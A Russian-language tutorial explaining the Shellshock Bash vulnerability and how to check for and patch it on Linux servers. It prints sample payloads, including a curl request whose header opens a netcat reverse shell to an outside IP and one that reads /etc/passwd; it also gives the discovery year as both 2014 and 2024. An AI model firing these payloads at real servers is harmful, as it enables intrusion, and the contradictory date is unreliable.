Как и любое другое программное обеспечение, командная оболочка Bash тоже содержит в себе различные уязвимости. Одной из таких уязвимостей является Bashdoor также известная под другим названием — Shellshock Bash. Впервые данная уязвимость была обнаружена еще в сентябре 2014 года. Ей был присвоен наивысший уровень критичности — 10 баллов по десятибалльной шкале (для CVSS версии 2.0) и 9.8 баллов для CVSS версии 3.0.
Суть уязвимости заключается в следующем: злоумышленник может удаленно выполнять произвольные команды, тем самым получая неограниченный доступ к системе.
Уязвимости Shellshock Bash может быть подвержена практически любая ОС семейства Linux, так как оболочка Bash используется по умолчанию почти во всех современных дистрибутивах Linux.
В данной статье мы рассмотрим всевозможные способы, как защитить свой сервер от уязвимости Shellshock Bash.
Как уже было сказано ранее, суть Shellshock Bash заключается в возможности удаленного выполнения произвольных команд на атакуемой системе. Причина возникновения данной уязвимости заключается в том, что Bash завершает обработку команд при импорте функций которые хранятся в переменной окружения среды. Иными словами, угроза заключается в возможности установки переменных окружения внутри интерпретатора Bash, в которых объявляются функции. Сама уязвимость возникает, когда Bash продолжает обрабатывать команды после объявления функции. В результате происходит атака с внедрением вредоносного кода. Рассмотрим уязвимость на конкретном примере:
http-header = Cookie:() { :; }; ping -c 192.168.36.136
В данном примере мы определили HTTP запрос который состоит из функции, заданной при помощи символов () { :; }
, а также содержит в себе команду интерпретатора — ping
с указанным параметром в виде IP-адреса. Вместо команды ping
можно подставить любую другую команду. В примере выше удаленная команда выполняет ping
IP-адреса на удаленном хосте после объявления функции.
Также Shellshock Bash можно использовать в CGI скриптах:
curl -H "X-Frame-Options: () {:;};echo;/bin/nc -e /bin/bash 192.168.36.106 443" 192.168.x.y/CGI-bin/hello.cgi
И в HTTP запросах:
curl --insecure 192.168.36.106 -H "User-Agent: () { :; }; /bin/cat /etc/passwd"
Эксплуатировать Shellshock можно следующими способами:
Использование в скриптах Bash.
Переменные окружения могут быть встроены в скрипты Bash (файлы с расширением .sh
). При выполнении скриптов Bash, интерпретатор выполнит значения, которые указаны в переменных окружения.
Использование вредоносной веб-страницы.
В веб-страницу встраивается переменная окружения. Когда пользователь посещает веб-страницу, переменная окружения будет отправлена на веб-сервер, который выполнит произвольную команду.
При отправке писем электронной почты.
Создается письмо, содержащее переменную окружения с необходимым содержимым. Когда пользователь откроет сообщение, переменная окружения будет отправлена почтовому клиенту, который выполнит произвольную команду.
Уязвимость Shellshock может использоваться в системах, на которых запущены службы или приложения, позволяющие неавторизованным удаленным пользователям использовать переменные среды Bash. К таким приложениям относятся:
Веб-серверы, которые поддерживают выполнение CGI скриптов
Серверы с установленным OpenSSH и с включенным параметром ForceCommand
DHCP-клиенты
Для того чтобы проверить уязвима ли ваша версия Bash, в терминале необходимо выполнить следующую команду:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
Если в ответ вернулось слово vulnerable
, то ваша версия Bash является уязвимой, и вы подвержены Shellshock Bash. Если же в ответ вернулось сообщение this is a test
, то ваша версия Bash уже содержит в себе необходимые исправления, и уязвимость Shellshock Bash вам не угрожает.
Далее мы рассмотрим всевозможные способы по устранению и недопущению уязвимости Shellshock Bash.
Для того чтобы защитить ваш сервер от уязвимости Shellshock Bash, необходимо предпринять следующие шаги:
Самый простой и быстрый способ решения проблемы с Shellshock Bash. Для этого необходимо выполнить одну из следующих команд в зависимости от используемого дистрибутива Linux.
Debian-based
Для дистрибутивов на основе Debian (Ubuntu, Linux Mint, Xubuntu и других) команда будет следующей:
apt update && apt install --only-upgrade bash
RHEL-based
Для дистрибутивов на основе Red Hat (CentOS, Fedora, Red Hat Enterprise Linux и других) команды будут следующими:
При использовании пакетного менеджера YUM:
yum update bash
При использовании пакетного менеджера DNF:
dnf update bash
После того как ваша версия bash была успешно обновлена, необходимо воспроизвести уязвимость еще раз. Подробные действия указаны в предыдущей главе «Проверяем сервер на возможность использования Shellshock Bash».
В системах Linux многие программы создают своих пользователей и запускаются от имени созданных пользователей. Данным пользователям можно выключить возможность входа на сервер. Для этого существуют несколько способов.
При создании пользователя при помощи утилиты useradd
(где web
— имя создаваемого пользователя):
useradd -s /sbin/nologin web
При создании пользователя при помощи утилиты adduser
(где web
— имя создаваемого пользователя):
adduser --shell /sbin/nologin web
Для отключения входа для уже существующего пользователя можно воспользоваться утилитой chsh
(где web
— имя ранее созданного пользователя):
chsh -s /sbin/nologin web
Стоит отметить, что программа chsh
присутствует не во всех дистрибутивах Linux.
Для отключения входа для уже существующего пользователя при помощи утилиты usermod
(где web
— имя ранее созданного пользователя):
usermod web -s /sbin/nologin
В данной статье мы подробно рассмотрели уязвимость Shellshock Bash, а также рассмотрели методы защиты. Несмотря на то, что уязвимость Shellshock Bash была обнаружена в 2024 году, различные способы ее эксплуатации по-прежнему существуют. В этом туториале мы описали несколько способов, с помощью которых можно закрыть эту уязвимость.